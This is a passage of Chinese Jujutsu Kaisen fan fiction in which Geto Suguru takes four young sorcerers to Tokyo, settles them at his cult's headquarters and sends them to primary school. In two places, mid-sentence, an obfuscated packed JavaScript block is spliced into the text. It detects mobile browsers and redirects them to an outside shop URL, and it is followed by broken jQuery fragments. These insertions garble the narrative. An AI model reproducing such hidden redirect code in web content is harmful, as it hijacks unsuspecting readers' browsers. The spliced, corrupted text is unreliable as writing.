他们穿上了长袖长裤,带上了一切能够带走的东西。枷场姐妹也套上了他们的衣服,夏油杰叫出了虹龙,挨个将孩子们抱了上去。轮到虎杖悠仁的时候,夏油杰才发现这孩子身体壮实得有些过分。
与他身形差不多的乙骨忧太却比他轻了太多,夏油杰在乙骨忧太躲闪的动作中捏了捏他的手臂,发现细得几乎只能摸到骨头。
联想到小小的家中堆起来的泡面箱——虎杖悠仁还是舍不得那些没有营养的应急食品,带上尽可能多的泡面填满了背包的空隙,似乎对夏油杰的财产状况仍旧保持疑虑——这些孩子都有些营养不良,哪怕是看似最健康的虎杖悠仁应该也同样亟需改善饮食。
四个孩子手拉手,坐在虹龙长长的身体上,虎杖悠仁扶着它的角。
村落在脚下变得越来越小,红房子也消失在了视野的尽头。
“坐稳了哦。”夏油杰尽可能让虹龙飞得慢一些,高空中的夜风寒冷刺骨,虽然有外衣保暖,可很快枷场姐妹和乙骨忧太就被冻得瑟瑟发抖。
烧尽整座村庄的幽蓝火焰被他们甩在身后,夏油杰最后向那个方向望了一眼。这样的低温不至于让他感觉到冷意,保护身体的咒力同样带着一些保暖的效果,让身体时刻保持温暖,以应对随时可能发生的战斗。
然而此刻他却感觉到冷风从领口灌了进去,低下头时看见了被血点溅满的衬衫敞开着,领口处的漩涡纽扣早已不翼而飞。
应该是掉在那个村子里了吧。
连所有的恶一起被烧掉,就当祭奠自己过去的那段青春。他的理想、他的梦想、他的未来,从今以后全都指向了唯一一个目标。消灭世界上所有的非术师,创造一个只有咒术师、永远不会产生咒灵的世界。
狭长的眼下仍有未退的青黑,只是他的眼前多出了一些年幼的孩子。是他未来的同伴、身为术师的后辈、即将一起生活的家人。对,只有术师才能成为他的家人。
虎杖悠仁一直在悄悄看着坐在枷场姐妹后方支撑着她们的青年。他其实很想知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378176|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夏油杰的年龄,因为他看起来和灰原雄的年纪差不多,可如果单看那双眼睛,却又觉得那和棕发少年的眼睛里流露出来的内里截然不同。
远远的,他们对上了视线。
倒映在琥珀色瞳孔里的面容消失在了瞳仁的正中,虎杖悠仁突然想明白夏油杰究竟像什么了。
他像极了村子里无处不在的无脸石像。
自己在知道他杀光了旧村的所有人后,为什么没有像在山洞里看到孩子们的尸体时那样,觉得夏油杰是和村民们一样无可救药地做着恶事的坏人呢?虎杖悠仁觉得可能是因为他救下了枷场姐妹。
你看,一旦涉及到人与人之间的关系,亲疏远近自然而然地被决定了。谁能做到真正的公正无私呢?那肯定一个没有任何朋友、没有任何家人,对所有人一无所知、看不见也听不见的人吧?只有这样才能证明自己与所有人没有任何联系,但这样的人又要依据什么来做出自己的判断呢?
只要看了、听了,知晓了、了解了,只要他还是一个有血有肉的人类,就没办法做出可以被赋予“绝对”之名的行为。
绝对正确、绝对错误,这都是绝不可能发生的事。
虎杖悠仁在离开让他又爱又恨的村子之后,认识到了世界中存在着的第三种颜色。非黑非白,而是介于黑白之间、存在的范围却远大于二者的灰。
要做正确的事,是不是“尽可能地”去做正确的事呢?爷爷,如果我说的不对,请你一定要来我的梦里打醒我啊。
虎杖悠仁面向前方,冷风早已吹透他的外衣,可虹龙双角之间却射来了朝阳。他看了看乙骨忧太,发现他已经被冻得有些麻木,却依旧抱着虹龙的另一只角,望向了极少见的日出。
“今天是个好天气呢。”夏油杰的声音被风吹向更后方,不过还是被激发了天赋的小咒术师们捕捉到了。
乙骨忧太觉得身子上变暖了一些。他总是会以悲观的心态去面对未来,看见朝阳却能在脑海中映射出它落到山头之后的余晖。生活和命运似乎也总能印证他的想法,每当他觉得生活已经糟透了的时候,它都能像从山顶滚下的圆滑巨石一样打碎他好不容易建立起来的一切,仿佛他的命运是一条永远向下的下坡路。
“没关系的,”乙骨忧太闻声转头,撞进了被晨光照耀得闪亮起来的双眼,虎杖悠仁的头发被迎面而来的风吹得乱糟糟地顶在脑袋上,反倒显得圆圆的脸颊更加澄净,“没关系的,忧太!”
虎杖悠仁的眼睛会在阳光下呈现出金灿灿的颜色。乙骨忧太觉得它们像是他下课后在放学回家的路上从树下捡到的树脂球,没有琥珀那样宝贵,也不会封印住一个小生命的千百年时光,可乙骨忧太依旧很喜欢它们。因为......
“——真的太漂亮了!”
看着虎杖悠仁满是笑意的脸,乙骨忧太也终于任由作乱的风卷走了他心中所有繁乱的思绪:“嗯!”
虹龙在一处面积广阔的公园内降落,落地后的枷场姐妹连连打了几个喷嚏。她们学着乙骨忧太的样子拉住了虎杖悠仁的另一只手,四个孩子像是四只小鹌鹑一样挤挤挨挨地缩在了一起。
清晨的公园内还没有人走到这么深的地方,夏油杰带着他们向外走去。
“这里是?”
唯一还有精力提问的虎杖悠仁打量着四周葱翠的绿,这是和乡下的森林完全相反的感觉。也许是看惯了森林里自然生长、带着些野蛮气息生长起来的植物,公园里的树木反倒像是被人用量尺规规矩矩地修整过,带着一些束手束脚。
夏油杰用手机联系着什么人,在电话拨通前回答他:“这里是东京。”
“东京?!”枷场姐妹瞬间活跃了起来,她们四下张望着,企图从周围隐隐冒出树冠的楼顶窥见她们向往已久的都市一角。
“居然是东京诶?!”枷场菜菜子似乎只会重复这句话了,她有些兴奋地拉着美美子蹦了起来,带着虎杖悠仁和乙骨忧太一起往前冲。
就在美美子她们如数家珍般地向虎杖悠仁说明东京有名的药妆店和时尚商圈的时候,夏油杰和电话那头的人约好了见面的时间。
挂断电话,他问道:“你们饿了吧?我们找个地方吃早饭吧。”
他不愿意再主动接触非术师,可日常生活中的吃穿住行想要一下子远离普通人当然是不太可能的。当务之急是让这群经历了变故的孩子吃上热乎乎的早餐,再去到临时住所——也许是未来的家吧——好好休息。
枷场姐妹一下子安静了下来,面面相觑。
“夏油大人......”
夏油杰安慰地摸了摸她们的头,说道:“没关系。以后我们的生活会渐渐远离猴子们,但这只是我自己的想法。你们喜欢穿漂亮的衣服、吃好吃的东西都没关系,我不会强求你们和我一样。”
他的目光落在了两个男孩子身上,意有所指地看着他们。
乙骨忧太点点头。
几个孩子选不出早上究竟想吃什么,最后夏油杰带着他们去了原宿站附近的麦当劳。
38. 第 38 章
“悠仁你怎么能那么期待呢!”枷场菜菜子尖声说道。
“啊......也没有特别明显吧?”
“......紧张。”
“你看啊!美美子都只会说两个字的词了!”
虎杖悠仁戴上了亮色的小黄帽,迫于学校的要求,他们都换上了特制的校服。
乙骨忧太也显得有些局促,扯着硬皮书包的背带在门口走来走去。
“不过,我们在一个班呢,”虎杖悠仁从善如流地转换了话题,枷场菜菜子正在往他的书包里塞小瓶消毒酒精,“只要一起上下学、一起吃午餐就没关系吧?”
“空气也讨厌。”枷场美美子依旧带着自己的玩偶。她的书包上挂着各种各样的小号毛绒玩偶,都是这段时间她自己做的。
“诶——超严格!”
乙骨忧太看了一眼时间,叮嘱他们:“不要落下东西了哦。”
虎杖悠仁元气满满地回了超大声的“好!”,女孩子们又确认了一遍,点了点头。便当是真奈美阿姨帮他们做的,一人一份,用不同颜色的圆点花纹餐布包裹得整整齐齐,放在便当包里。
贴满贴纸的水杯也带上了,除此之外还有笔袋和各种消毒物品。
这半年里,他们住进了一个名叫星之子之家的地方。这里真的很大很大,一圈圈的走廊仿佛永远都走不到尽头,脚下铺着有很漂亮的花纹的地毯,屋顶也很高,虎杖悠仁觉得就算他站在里香的肩膀上也够不到天花板。
不过他们的房间并不在总部的建筑里,更靠后的地方有另外一栋小楼,那里有很多空房间。
“你们两个一人一间也可以哦,”带着他们挑房间的时候,夏油杰说道,“或者像菜菜子她们一样住在一起,只是这样的话就得把单人床换成上下床才行。还是说你们喜欢双人床?”
最后他给四个孩子挑了两间最大的,虎杖悠仁他们和枷场姐妹住在了对门的房间,定制的上下床零件很快被搬了进去,组装完毕。
房间铺的是木地板,夏油杰花了大价钱在改造总部的时候将道场房间、会议室和接见教徒的地方铺上了榻榻米,他自己的房间里也没有床铺,被褥直接放置在被橱里。
“不好!我们必须得走啦!今天可是第一天,”虎杖悠仁催促着小伙伴们,“快看樱花!”
这个地方原来似乎是个教会,现在已经是夏油杰名下的东西。总部是对外开放的,虎杖悠仁他们通常不会去前面,上下学也从后门出入。那是一个很不起眼的小门,外面连通着大道的小路两旁栽种着数棵樱花树,花朵已经被催得熟了,薄薄的花瓣在阳光下透着清亮的淡粉。
“超好看的啊!”枷场菜菜子看见整排盛开的樱花眼前一亮:“我们下午回来之后来拍照片吧!”
“好喔!”虎杖悠仁高举双手表示赞同。
“好漂亮......”乙骨忧太弯腰捡起一朵过早掉下来的花,柔软的花瓣在他的掌心好似雪花一样轻薄:“有点像悠仁的头发。”
虎杖悠仁闻言抓了抓不长不短的头发,嘟囔着:“是吗?我还觉得自己的头发颜色有点脏脏的。”
“超有特色。”枷场美美子的评价总是这样简短而犀利。
“所以悠仁,你的发色是融合了妈妈和爸爸的颜色吗?一个粉色,一个黑色?”
“是的吧?”
枷场菜菜子不满地说:“这叫什么回答!”
虎杖悠仁不好意思地笑了一下,解释道:“我又没见过他们......不如说虽然见过但是不知道那到底是不是她,总而言之,我爸爸应该是粉头发吧,毕竟我看过爷爷年轻时候的照片,和我现在的头发一模一样呢!”
“好复杂,”枷场美美子说,“会被认为是染发了吧?”
她指的是虎杖悠仁后脑下方靠近脖颈的地方,那片区域的头发完全是黑色的。
虎杖悠仁叹了一口气:“希望老师不要太在意这件事!没有小孩子会去染头发的!不过这样的话会不会让人觉得很难相处?看起来就像是会在街头收保护费的小混混?这样也不错诶,那就不会有人主动过来招惹我们了。”
他说着,举起手臂绷紧,一副“谁来找事就等着被他揍趴吧”的神气模样。
不要在刚开学的时候就假装自己是不良啊!乙骨忧太心道,不过悠仁很快就会“暴露”的,只要相处得够久,所有人都会发现他是一个很好很好的人。
只要不主动来招惹他们,乙骨忧太还是愿意试着和其他人好好相处的。过去的生活让他有些难以适应和同龄人相处,也没有了任何想要去交朋友的欲望。
“哼!我们本来也没想和他们好好相处,反正都是一群猴子。”枷场菜菜子摆弄着手机。
“不行呐,你忘记夏油先生怎么说的了吗?至少要坚持到初中毕业才行哦。”
夏油杰对他们几乎有求必应,枷场姐妹得到了心心念念的手机,乙骨忧太和虎杖悠仁也知道了有关里香的事。他答应会帮助他们寻找解除诅咒的方法,却并没有用这件事要求他们许诺什么回报。
“知道了啊!”
他们就这样吵吵闹闹地走到了学校。一到学校,他们之中还能坚持热情聊天的就只剩下了虎杖悠仁。沉默是最简单地竖起尖刺的方法,受过伤的孩子们为了保护自己只敢将最柔软的地方留给同类,哪怕张开的刺会吓退企图靠近的友善者,但那也是没办法的事。
因为不太想要和一群人一起挤在操场和礼堂里,夏油杰和其他家人也不愿意靠近满是猴子的地方,所以他们干脆利落地错过了开学典礼,现在只能看着公告牌上标记着教室位置的地图呆头呆脑地找他们的教室。
“你们好啊,”有个高年级的孩子看到了他们,主动走了过来,“迷路了吗?忘记教室的位置了?”
虎杖悠仁主动承担起了所有的询问:“抱歉,请问......”
高年级的孩子为他们指明了方向。
因为没有参加入学式,所以教科书、课程表、各种学校通知以及需要家长填写的通讯表他们都没有拿到,同班同学也是全然陌生的状态。
似乎有很多刚刚升入小学的孩子还没有适应独自前往学校,虎杖悠仁在校门口已经看到至少两个孩子蹲在地上哭泣,大门处的保安先生和值班的老师手忙脚乱地解决着各种突发事件。
他们的教室在二层,进入教学楼后的第一件事是更换室内鞋,他们找了很久,终于找到了已经贴上他们名牌的鞋柜。
“我们的鞋柜挨在一起诶。”大概是安排名单的老师按照花名册的顺序排下来的吧?
“教室里的座位能自己选吗?”枷场姐妹没有过集体生活的经验,也没上过幼稚园,学校里的一切对她们来说都是全新的,吸引力和排斥感同时存在着。
“也许已经都被选完了,运气好的话才能够凑在一起吧?”乙骨忧太回答道。错过了入学式,除非恰好有四个挨在一起的空座位被剩下来,恐怕他们只能分开坐了。
枷场姐妹显然对此很是失望,连美美子都发出了失落的叹息。
“我还想着要是有不认识的字就问你们呢,”枷场菜菜子将手机收了起来,走廊里的学生变得越来越多,这样密集的人群让空气变得难以忍受了起来,“要是根本听不懂怎么办啊。”
“上课的时间不能随意说话的,”虎杖悠仁安慰她们,“不过没关系,等到下课了我们可以帮你们的!虽然我也不知道自己能不能听懂就是了,嘿嘿。不过忧太肯定没问题!”
其实他有一点点——真的只有一点点点点——害怕数学,在村子里的时候看的数学课本里讲的内容他早就全都忘光了!毕竟这半年的生活和以前简直天差地别,比起学习知识,夏油杰偶尔抽出时间教授他们关于咒术的知识这件事成为了虎杖悠仁最期待的休闲活动。
枷场姐妹偶尔会提出想要去某个有名的店吃那里的特色招牌,夏油杰清闲的时候会让咒灵跟着他们一起,如果没有精力的话就任由他们自己出门,反正他已经在教导他们如何保护自己——用术师的方法——绝不至于让自己被猴子伤害到。
“诶?!我、我吗?”乙骨忧太有些受宠若惊,他和枷场姐妹的年龄其实已经够得上二年级了,但综合考虑之后,夏油杰决定还是让他们从一年级开始上起。
虎杖悠仁眼睛里闪着星星,似乎连不存在的尾巴都甩了起来:“忧太——”
“......我知道了哇,”乙骨忧太连连后退,“不过你们也不能完全放弃努力,至少在——啊!抱歉。”
他没有留意到身后,在后退的过程中撞到了从后面向前走的孩子。
“你们不应该把走廊都堵起来,”梳着双马尾、系着粉色蝴蝶结的女孩一字一句地说,“你们太‘长’了,不过没关系。”
太长了?虎杖悠仁看着那个女孩走远,进入了他们班级所在的教室。居然还是未来的同学吗?
“那家伙说什么呢?”
虎杖悠仁脑瓜一转:“应该是在说我们四个横着走把走廊都堵起来了的意思吧?我完全没注意到......”
“没关系”大概是在回应乙骨忧太说的抱歉。
枷场菜菜子哼了一声,掏出了消毒酒精在乙骨忧太背后喷了两下。
有人留意到了他们这边奇怪的举动,但因为相互谁也不太认识,就算有什么困惑也只是在脑海中一闪而过,没有放在心上。
正如乙骨忧太猜测的那样,他们的座位被分开,这让枷场姐妹感到了些许不安,加剧了她们的不适,坐到位子上的时候几乎浑身都散发着怨气,让周围的孩子望而却步。
被剩下的座位都靠近中间,所以总的来说他们四个离得并不算远。
令人感到意外的是,枷场姐妹很快便以自己的方式适应了学校的生活。她们拒绝和任何人讲话,只会在老师提问的时候给予最基本的回应。
学校本身会给所有学生提供餐食,但他们自带了便当,所以午餐时间会在其他孩子等待分餐的时候打开被精心包装过的便当盒。
不过显然,菅田真奈美的厨艺只是说得过去,味道与便当的外包装并不太匹配。可是这对于孩子们来说已经是难得的美味......重要的是制作便当的人。
“果然学校这样的地方最容易聚集咒灵。”虎杖悠仁有一搭没一搭地说着。
午休时间他们不常去天台,那里几乎都被高年级的同学占着,有的时候则能看到一群人在那里聚会,简直比课间的教室还要混乱。少有人经过的花园深处是更受他们欢迎的地方。
诅咒无处不在。它们似乎已经与人类共存,虽然大部分只是无法生成形体的状态,但只要人类仍能生成负面感情
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378177|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,诅咒就永远不会消失。承载负面情绪的地方会变成容器,一旦积攒的诅咒超过某种界线,咒灵就会诞生。
想要消灭这样的负面感情集合体,一是用同为负极能量的咒力祓除诅咒,第二是将其封印。
枷场姐妹背靠背坐在木长椅上看手机,这个地方很少会有人过来,虎杖悠仁直接自己霸占了一整张,趴在上面看漫画。
不论是直接祓除还是封印,乙骨忧太都和虎杖悠仁都无法接受里香只能以这种方式离开。
夏油杰说咒灵并不存在那种感情。真正的祈本里香已经死去,作为过咒怨灵留下来的里香只是一具继承了女孩部分情绪的外壳。
“除此之外,就只剩加咒者自身解除诅咒的方法了。但这几乎是不可能完成的,你如何让一具空有咒力的躯壳明白什么是‘原谅’?它本来就是受负面感情驱使而行动的,与其执着于解咒......也就是让她的灵魂成佛,倒不如学会利用它的力量。”
乙骨忧太对夏油杰的话半信半疑。
他被里香诅咒了......如果这样的执念源自于他们曾经约定要一起生活的誓言,为何这样的愿望被扭曲成了诅咒?他真的能够坦然利用这样的力量让自己变得强大,直到能够随心所欲保护自己想要守护的一切吗?
里香,这是你的诅咒,还是......你的愿望呢?
虎杖悠仁将漫画翻了一页。夏油杰向乙骨忧太解释里香的问题时他也在场,他和乙骨忧太的想法是一致的。而且,他觉得夏油杰隐瞒了什么。青年咒术师毫无疑问是引导他们进入咒术界的人,关于咒术的一切当然是他了解得更清楚。
但直觉告诉虎杖悠仁那并不是全部。
不会有人将全部的利害都告诉别人,因为对话的目的终究是为了取得对自己更有利的局面,不论是为了增进友谊还是其他可说、不可说的目的。也许这样的做法并非出于恶意,但道理是一样的。
虎杖悠仁脖子上的项链掉了出来,磕在了木制长椅上,发出咔哒一声。
乙骨忧太伸手捞了一下,虎杖悠仁能够感受到挂在后颈的红绳受到牵引,被向前托起时骤然升起了一丝不安。就像是有人拨开了他撑着身子的手臂,接下来迎接他的就是痛击下巴和牙齿的磕碰。
“这个,”乙骨忧太说,“我下次重新给你做一个吧。”
虎杖悠仁将项链勾了回来,扯开领口将它塞了回去。
“我喜欢这个。”
“好吧。”乙骨忧太终于有了一点笑意。
虎杖悠仁将压在肚子下面的另一本漫画书递给了乙骨忧太。他们现在可以买到最新版的漫画书,去到书店的时候虎杖悠仁简直要被小山一样堆起来的书籍晃花了眼。那个时候他才发现,他们翻看过很多遍的漫画剧情早就在去年完结了,可是在虎杖悠仁的印象里,故事才刚刚开始。
被粉发孩子压在肚子下的书皮热乎乎的,乙骨忧太接过来,将他的腿从木长椅上扒拉下去,把不好好坐着的人拉了起来。
正好手肘已经有点痛了,虎杖悠仁一个挺身坐了起来,换了个姿势继续看漫画。
女孩子们那边爆发出了一阵小声的讨论,枷场菜菜子随即将打开的手机界面伸到了虎杖悠仁他们眼前:“悠仁忧太!我们去吃这个吧!”
屏幕上展现的画面像彩虹一样五彩斑斓,仔细一看,是一个装在酒杯模样容器里的冰沙甜品。
“甜品?”
虎杖悠仁对此有些兴致缺缺,他和乙骨忧太都不是爱吃甜食的类型。
“嘿嘿,”枷场菜菜子突然笑得有些不怀好意,她搂过虎杖悠仁的脖子,将屏幕上的图片换了一张,“你不想去看看这个吗?”
虎杖悠仁眨眨眼睛。他的表情逐渐纠结起来,摇摆在“想去”和“这不太好吧”之间,最后撇着嘴巴挣扎起来:“......我根本进不去耶。”
乙骨忧太本来已经将目光重新甩向漫画书,他们的嘀嘀咕咕隐约传到了他的耳朵里,听到后面的时候,他“啪”的一声将漫画书单手合了起来。
“悠仁,菜菜子,”他的声音让被点名的两个人不约而同地打了个激灵,“去哪里啊?”
枷场菜菜子推开虎杖悠仁,摆着手解释:“我可没说让他进去!只是顺路可以看看嘛......谁叫他说自己想打柏青哥——”
“我、我可没说过!!我说的是游戏啊!!是电视游戏啊!!”
“我证明。”枷场美美子及时救场。
在三个人的注视中,她无视了虎杖悠仁祈求的目光,忍着笑意给了他最后一击:“悠仁就是说过!”
“我们现在这个年龄,怎么都不可能混进去的。”乙骨忧太摸着下巴,似乎真的在思考一个小学生混入柏青哥游戏厅的可能性。
“诶......诶?!”
“怎么了?”
虎杖悠仁这个时候终于感觉有些羞愧,不好意思地低着头喃喃道:“我还以为你会不让我去。”
乙骨忧太理所当然地说:“你当然不能去啊。直到成年之前我都会盯着你的,别想小心思啦,悠仁。”
彻底石化的粉发孩子觉得乙骨忧太有的时候就是魔鬼,明明只比自己大了一岁,却像是爷爷一样为他制定着生活中的各种规则。
但虎杖悠仁并没有对此表现出反感的态度。
39. 第 39 章
“悠仁,你醒了吗?”乙骨忧太趴在上床的床沿边,轻声问道。
“......还没有醒呐。”
上床传来幽幽的呢喃声。
显然虎杖悠仁还没有完全清醒过来,只是本能地回应着乙骨忧太的问话。这样的事情不是第一次发生了,乙骨忧太做出了这个判断之后就果断离开床边,开始准备周末出行所需的物品。通常在这个阶段哪怕发生了“正常”的对话,等到虎杖悠仁真的清醒过来之后就会将这段时间的事情忘得精光。
“诶?我们还说过这种事吗?完全没有印象了!”
如此重复数次之后,乙骨忧太就将这个苏醒的过程完全地还给了虎杖悠仁。有的时候他会像梦游一样飘进洗手间,机械性地刷牙洗脸,然后在坐到餐桌前的某一刹那瞬间清醒过来。
就像终于接上信号的机器人一样,重新变得活力满满。
“忧太!我们早上吃什么?”
不知道什么时候活跃起来的虎杖悠仁兴致勃勃地凑到乙骨忧太旁边,借着帮他拿盘子的时间凑上去左看右看。菅田真奈美找来了专门的厨师为他们准备食物,在教会留宿的人偶尔会变多,有一个专门的厨师负责这些日常食物与料理的制作比较方便。找到厨艺说得过去的术师也不是简单的事,但这些就不是虎杖悠仁他们能够知道的细节了。
今天的早餐是传统的日式料理,虎杖悠仁端着盘子放到房间的桌子上,两手一拍大喊一声“我开动了!”,然后很有食欲地消灭着简单的早餐。
“最近有很多术师过来教会这边了啊。”乙骨忧太在去取餐的时候碰到了一个遮着一只眼睛的黑发年轻人,他和菅田真奈美走在一起,看上去是个不苟言笑的人。
虎杖悠仁说:“大家都是夏油先生的家人吗?”
夏油杰将所有与他有着同样理想的术师称为“家人”,这些人有的只会在教会里出现一次,之后虎杖悠仁就再没有见过他们。有的则偶尔出现在这里,像是乙骨忧太今早遇见的祢木利久,今天并不是他第一次来夏油杰的教会,只是之前他一直没有来到虎杖悠仁他们住的地方附近。
夏油杰不太希望孩子们去教会的大堂和会见教徒的地方,因为那里经常会有猴子出入,枷场姐妹对此持赞同的态度,每次不得不经过那附近后她们一定会用消毒酒精喷遍身体才会进到房间里。
豆腐味噌汤的味道有些淡,海带也只有两三片,乙骨忧太喝着汤,脑袋里思考着该怎么回答虎杖悠仁的问题。
他们已经知道这世上有很多人和他们一样,但术师之间也有最基本的立场之分。就像热血漫画中必然存在的正派与反派,以祓除诅咒、守护非术师而存在的咒术师在一个名为咒术总监部的机构管辖之下,据说在东京和京都还有专门培养咒术师的学校。
而不愿意遵守咒术总监部定下的规矩、以诅咒他人为生的就是诅咒师。
虎杖悠仁和乙骨忧太曾经讨论了很久,但最终发现他们现在毫无疑问,正在所谓的“反派阵营”里生活着。
“会有人来杀掉我们吗?”虎杖悠仁扯着夏油杰的袈裟问道。
“......”夏油杰将双手揣在宽大的袖子里,悠闲地说:“那群自诩正派的家伙们可没有这么闲,每天都忙着‘拯救世界’,哪有精力管我们呢?”
就算真的有人找上门来也没关系,虎杖悠仁只管自己逃跑就好。
“为什么?”不管虎杖悠仁和乙骨忧太有没有认可这个关系,但夏油杰难道不认为他们是家人吗?家人之间当然应该相互保护,怎么能在这种时候自己跑掉呢?
夏油杰笑眯眯地回答:“因为是最重要的家人啊。”
这里来往的所有人都没有血缘关系,他们只是为了夏油杰口中的那个理想的世界而聚集在了一起,成为了“家人”。
乙骨忧太放下碗,沉思了片刻,说道:“应该说是同伴更合适一些吧。菜菜子、美美子、夏油先生、真奈美阿姨还有其他所有来到教会的术师......大家有同一个理想,不是为了共同生活,而是为了那个只有一同努力才能抵达的终点。”
他们口中的“家人”与虎杖悠仁和乙骨忧太之间的“家人”不能混为一谈。
虎杖悠仁咬着筷子,嘟囔道:“就没有其他的方法了吗?”
不会生成诅咒和咒灵、没有术师与非术师之分的世界,想要创造那样的奇迹就只有完全消灭非术师才能实现吗?除了杀光所有的普通人,难道就没有其他达成这个目标的方法了吗?
比如让所有的普通人都变成术师。
“可能,还有别的原因吧。”乙骨忧太结束了这个话题。
他们今天的安排是和枷场姐妹一起去埼玉买她们心心念念的甜品,就是旁边有柏青哥游戏厅的那一家。
因为只有他们四个孩子单独出行,没有办法乘坐电车,所以干脆直接乘出租车去了埼玉。
车窗外的樱花树向后退去,虎杖悠仁将头靠在车窗上。教会附近几乎看不见咒灵,虽然没有人告诉他们理由,但孩子们都知道这是因为夏油杰的缘故。他的术式像是收集宝可梦一样,虎杖悠仁曾经亲眼见过他随手就将一只不知道几级的咒灵搓成了泛着荧光的球体,按照夏油杰的解释,这就是【咒灵操术】的特性。
他说他们几个的身体里都有术式,只不过有的人觉醒得更早一些,像是乙骨忧太和虎杖悠仁,枷场姐妹则要稍晚一些,但不必因此感到焦虑。
生得术式是一种可以继承和遗传的东西,像是发色、瞳孔的颜色之类的,有可能来自父母、也有可能来自祖辈。当然,总有人的生得术式是“世上第一例”,比如乙骨忧太,他似乎能够模仿其他人的术式,但术式的运转流程还不够清晰明了,直到现在还在适应和开发的过程中。
虎杖悠仁的术式与重力有关。他的爷爷肯定不是术师,因为老人根本看不见趴在自己身上的咒灵。所以他的术式有可能继承自从未见过面的爸爸,又或者......如影随形的妈妈。
他心中多少已经能够给出定论,妈妈与咒术界应该有着千丝万缕的联系。现在想想,难道他之前见到妈妈时,那具身体并不是妈妈自己的吗?这也是一种术式吗?
哪怕虎杖悠仁不告而别,和乙骨忧太一起跑去了连地图上都找不到的偏远村落,妈妈却还是能找到他的去处,并将钱和相机一起寄了过来。就连他们回到东京这件事,她也一清二楚。
刚刚来到教会的第一个月,虎杖悠仁暗自期待过。
妈妈会像之前那样时刻关注着自己的动向吗?虽然她从不回虎杖悠仁寄给她的信,可这样分隔两地的、冰冷的关爱仍然让粉发孩子将心牵起一根线,遥遥系在了从云间落下来的风筝线上。
有的时候他觉得妈妈就像飞入云层、看不真切的风筝,有时他又觉得自己才是那个周身被白云和雾气笼罩,看不清自己系上的断线究竟连接着什么东西的存在。
生活费一如既往地被送到了虎杖悠仁的手中,连接着天空与地面的线还没有崩断。
一同邮寄过来的还有生日礼物,这次不是奇形怪状、味道也不怎么样的手指饼干,而是一个方方正正的小盒子。
像是在超市购物时摆在货架上特价售出的临期物品捆绑销售的儿童玩具,盒子可以被打开,但里面只装了一个透明的蓝色玻璃珠,似乎是有人特意取走了盒子里的东西,再单独装入了这个易碎的小玩意儿似的。
虎杖悠仁抱着它和乙骨忧太一起研究了半天,最终一致认为它只是一个单纯的盒子,玻璃珠也只是单纯的玻璃珠而已,透过它去观察世界,周遭的一切都会扭曲成鱼眼一样凸起的形状,覆上了一层淡蓝色。
因为妈妈每次送的生日礼物都这样奇怪,虎杖悠仁只是将它放到了柜子里,那块角落很快就被各种杂物埋了起来。
路上并没有花费太多的时间,在和司机约定了回家的时间后,四个孩子就下车徒步前往商业街寻找枷场姐妹看中的那家甜品店。
毕竟是繁华的街区,他们去的时间不早不晚,又恰逢周末,来来往往的人很快就多了起来,最后他们不得不分成前后两排,相互拉着手以免和同伴走散。
枷场姐妹已经学会无视身边的普通人了,除非有人靠得太近她们才会选择退后让开位置,其他时间她们就像一对来逛街的小姐妹一样,仰着头看过一个个让人眼花缭乱的商店招牌。
虎杖悠仁也两眼放光地看着街道两侧的各色商铺。哪怕是白天,这里也闪烁着各种颜色的霓虹灯,有些店铺的名字虎杖悠仁根本看不懂,只得求助乙骨忧太。
“影像租赁店是什么意思?卡拉OK是什么意思?那几个汉字是什么意思?”
但是乙骨忧太也一头雾水,最后他们两个只能露出豆豆眼,在枷场菜菜子“你们好土啊”的眼神中接受了一番来自“大城市”的信息轰炸。
“所以说,你们也可以让夏油大人帮你们买个手机啊,”她现在简直和智能手机成瘾患者一样,那台小小的方形机器从不离手,“这样我们随时都能发短讯聊天了。”
虎杖悠仁不喜欢随身带着这种小小的昂贵东西,凭他平时随意上蹿下跳的劲头,只要一个不注意,那东西绝对会从他的口袋里掉出去,在地上摔得粉碎。他可不想随时随地都要留意兜里的手机会不会被偷走或者掉出口袋。
听说还有人会专门在路上偷走路人的手机,手法被传得神乎其技,哪怕插着耳机听歌也不会让手机的主人发现有被扯动的感觉,直到因为歌曲播放停止而去检查的时候,才发现手机已经不见了。
乙骨忧太则觉得他们四个几乎天天形影不离,甚至房间就在对门,没有必要为了相互联系而特意购买一台手机。教会又没有什么晚上必须关灯睡觉的时间限制,那一整条走廊里就住着他们四个,想要聊天的话只需要打开门就可以了。只要他们不在房间里闹得太欢,比如玩一些双人无限制枕头大战之类的游戏,住在他们楼下的夏油杰通常不会上来压着他们回到床上去睡觉。
那个游戏因为虎杖悠仁的实力太强,演变成了一打三,后来有一次闹得楼下天花板都在咚咚咚地震动,被夏油杰明令禁止了。
至于会不会和同龄人脱节......有枷场姐妹在,他们总不会被落下得太远。
这一路上实在有太多吸引他们目光的干扰物,所以他们比预定的时间晚一些去到了那家甜品店。
虎杖悠仁的视线刚想要往旁边看起来五颜六色的游戏厅上靠,乙骨忧太就站在他的身前,用自己的身体挡住了他,弯着眼睛不说话。
虎杖悠仁垂着头走进了甜品店,刚进门就能闻到烤箱烘焙出来的面包香气。他从未被这样甜蜜的气味包围过。这里被叫做面包店更契合一些,玻璃柜台的高度难免让人联想那些精明的商人就是为了专门让孩子们看清里面摆放的面包与水果蛋糕才如此设计的。
